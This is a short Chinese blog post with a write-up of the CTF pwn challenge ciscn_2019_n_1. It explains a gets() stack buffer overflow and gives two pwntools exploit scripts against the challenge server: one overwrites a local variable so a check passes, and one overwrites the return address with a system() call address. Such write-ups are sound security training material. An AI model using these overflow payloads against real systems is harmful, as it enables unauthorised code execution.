ciscn_2019_n_1

ciscn_2019_n_1

题目分析

这题的主要溢出点在于gets(v1),但是这题有两种思路,第一种方法是通过gets函数溢出修改变量v2的值,使v2能够通过if判断语句,执行system函数,第二种方法还是通过gets(v1)溢出,不过这次是通过libc来实现,将ebp覆盖为system函数的地址

第一种方法

通过学习栈的工作原理,可以发现v1数组的填充区域处于栈的最低位置,因此可以先通过填充44字节的M来到达v2的位置,然后以十六进制的方式覆盖v2的值,使v2能够通过if语句,依照此方法,构造payload

from pwn import*
io=remote("node4.buuoj.cn",29011)
payload=b'M'*(0x30-4)+p64(0x41348000)
io.sendline(payload)
io.interactive()

第二种方法

libc方法,这个跟之前打法类似,主要是劫持ret的返回地址,因此先填充48个字节的M,这个是将v1和v2的值填充,然后再加上8个字节的M将之前储存的rbp的值覆盖,然后用system函数的执行地址来覆盖ret返回地址,从而达到劫持返回地址的目的,这样payload为

from pwn import *
io=remote("node4.buuoj.cn",29011)
payload=b'M'*(0x30+8)+p64(0x4006BE)
io.sendline(payload)
io.interactive()

 

posted @ 2023-05-26 18:47  alexlance  阅读(60)  评论(0编辑  收藏  举报